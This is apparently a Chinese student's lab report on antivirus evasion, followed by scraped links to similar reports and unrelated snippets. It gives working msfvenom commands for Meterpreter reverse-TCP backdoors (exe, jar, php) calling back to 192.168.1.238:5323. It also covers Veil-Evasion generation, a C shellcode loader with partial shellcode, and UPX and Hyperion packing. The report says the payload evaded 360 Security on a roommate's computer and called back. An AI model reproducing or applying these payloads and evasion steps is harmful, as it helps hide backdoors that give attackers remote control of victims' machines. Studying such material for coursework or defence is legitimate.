2018-2019-2 网络对抗技术 20165323 Exp3 免杀原理与实践
一、实践内容
1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程
1.2 通过组合应用各种技术实现恶意代码免杀
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,生成exe文件
在实验二中使用msf生成了后门程序,我们可以使用Virscan这个网站对生成的后门程序进行扫描。
用virscan扫描后结果如下:

2、尝试用msf编码器对后门程序进行一次到多次的编码
十次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.238 LPORT=5323 -f exe > yjc_backdoor.exe其中-i为指定编码个数
将编码十次后的可执行文件上传到Virscan扫描后结果如下:

编码效果总得来说影响并不大,主要原因在于编码之后会有一段解码部分加入文件中,而杀软也会把这个部分作为识别出病毒的特征,另外msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征
3、msfvenom生成jar文件
生成Java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.238 LPORT=5323 x> yjc_backdoor_java.jar
如图所示:

检测结果:

msfvenom生成php文件:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.238 LPORT=5323 x> 20165323_backdoor.php
如图所示:

检测结果:

使用veil-evasion生成后门程序及检测
4、Veil-Evasion安装:
利用命令sudo apt-get install veil-evasion进行安装,之后用veil打开veil,输入y继续安装直至完成,这期间可能要等待较长时间:
安装成功后输入veil对此进行使用,启动后如图所示:

接着输入use evasion进入veil-evasion

用C语言重写meterperteruse c/meterpreter/rev_tcp.py

设置反弹连接IP及端口,注意此处IP是kaliIP
输入generate生成文件

输入playload文件名字

到/var/lib/veil/output/compiled/test5323.exe这个路径下找我们生成的exe文件,对此进行检测,结果如下:

5、半手工注入Shellcode并执行
首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.238 LPORT=5323 -f c用c语言生成一段shellcode;

创建一个文件20165323.c,然后将unsigned char buf[]赋值到其中
unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" 。。。。。。 "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main() { int (*func)() = (int(*)())buf; func(); }
使用命令i686-w64-mingw32-g++ 20165323.c -o 20165323.exe编译.c文件为可执行文件
将文件进行virscan:

将之前的半手工打造的shellcode复制命名为yjc.exe,进行加壳upx yjc.exe -o yjc_upxed.exe

扫描结果为:

再进行加密壳Hyperion
1、将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
2、进入目录/usr/share/windows-binaries/hyperion/中
3、输入wine hyperion.exe -v yjc_upxed.exe yjc_upxed_Hyperion.exe

结果用处不大:

放到电脑管家中进行运行时,果断被阻止了:

此处我将它加入了可信任列表,进行运行后结果如下:

任务二:通过组合应用各种技术实现恶意代码免杀

其中通过shellcode+UPX加壳实现免杀未被查出来,在此基础上进行加密壳后反而被查了出来
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
对舍友电脑进行免杀效果测试并回连成功(舍友的杀软为最新的360安全卫士11)


基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测
1、简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
2、AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
3、重要的就是,恶意软件的检测,并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。
4、优点:检测效率高、能精确检测恶意软件类型和具体名称。
5、缺点:滞后性,不能检测不在特征库和变形的恶意软件,需频繁更新特征库。 - 启发式恶意软件检测
1、根据些片面特征去推断。通常是因为缺乏精确判定依据。
2、优点:可以检测0-day恶意软件;具有一定通用性
3、缺点:实时监控系统行为,开销稍多;没有基于特征码的精确度高 - 基于行为的恶意软件检测
1、基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
2、优点:可发现未知病毒、可相当准确地预报未知的多数病毒。
3、缺点:可能误报、不能识别病毒名称、实现时有一定难度。
(2)免杀是做什么?
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
(3)免杀的基本方法有哪些? - 变形特征码:
1、只有EXE:
2、加壳:压缩壳 加密壳
3、有shellcode:encode编码、payload重新编译
4、有源代码:翻译成其他语言 - 改变通讯方式
1、尽量使用反弹式连接
2、使用隧道技术
3、加密通讯数据 - 改变操作模式
1、基于内存操作
2、减少对系统的修改
3、加入混淆作用的正常功能代码 非常规免杀方法:使用社工类攻击、纯手工打造一个恶意软件等等。
离实战还缺些什么技术或步骤?
1、我们怎么让后门进入别人的电脑?目前我们的方法非常的僵硬,我们还需要学会将后门放入一个正常程序,才能更好的植入他人的电脑
2、我们现在用的都是同一个网段,一旦网段不同,可能我们就会瞬间爆炸了实验遇到的问题及解决方法
安装veil心态爆炸,老是会卡住,通过查询资料后,输入以下命令解决
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
实践总结与体会
这次实验是在前一个后门原理实验上的进阶,需要对后门技术的熟练掌握和运用。同时,安装软件配置环境真的很考验解决问题的能力。收获很多,之后想继续学习,争取做一个完全免杀的后门出来。
2018-2019-2 网络对抗技术 20165323 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
随机推荐
- [Storage]RPM series linux rescan disk / RPM系Linux重新扫描硬盘
echo "- - -" > /sys/class/scsi_host/host0/scan echo "- - -" > /sys/class/s ...
- MySQL架构备份之双机热备
M--S架构:实现双机热备(AB复制) 1.可以降低master读压力 2.可以对数据库做“热备”,热备只能解决硬件master硬件故障,软件故障等重大故障问题,但无法解决人为误操作导致的逻辑故障(列 ...
- python学习day22 面向对象(四) 约束&反射
1.栈与队列 栈:类似弹夹,先进后出 队列:类似水管,先进先出 class Stack(object): """ 先进后出 """ def ...
- CF1114D 【Flood Fill】
Solution 一看就是很水的区间DP \(dp[i][j]\)表示区间\([l,r]\)都涂成同色的代价. \(dp[i][j] = min( dp[i][j], dp[i][k] + dp[k] ...
- Cucumber语法格式
@login Feature: Login @T1 Scenario: Login with correct credentail Given I open login page When I ent ...
- 【Mac上的PotPlayer视频播放器】Movist Pro for Mac 2.1.2
[简介] Movist 是Mac上最好用的视频播放器之一,功能齐全,类似Windows上的PotPlayer,今天和大家分享最新的 2.1.2 中文版本,Movist 支持几乎所有常见的视频格式,包括 ...
- 一、TensorFlow的简介和安装和一些基本概念
1.Tensorflow的简介 就是一个科学计算的库,用于数据流图(张量流,可以理解成一个N维得数组). Tensorflow支持CPU和GPU,内部实现了对于各种目标函数求导的方式. 2.Tenso ...
- 编写高质量的Python代码系列(四)之元类及属性
元类(metaclass)及动态属性(dynamic attribute)都是很强大的Python特性,然后他们也可能导致及其古怪.及其突然的行为.本节讲解这些机制的常见用法,以确保各位程序员写出来的 ...
- Vue学习笔记三:v-bind,v-on的使用
目录 v-bind:绑定属性值,内容相当于js,缩写: v-on:绑定方法,缩写@ 总结 v-bind:绑定属性值,内容相当于js,缩写: 我添加了一个input标签,如下 <input typ ...
- spring的事件驱动模型
在工作中会遇到这样的业务,生成一个订单后需要给指定的用户发送短信或者邮件,但是短信或者邮件发送失败又不会影响正常的业务: 这里介绍通过ApplicationContext和spring的@EventL ...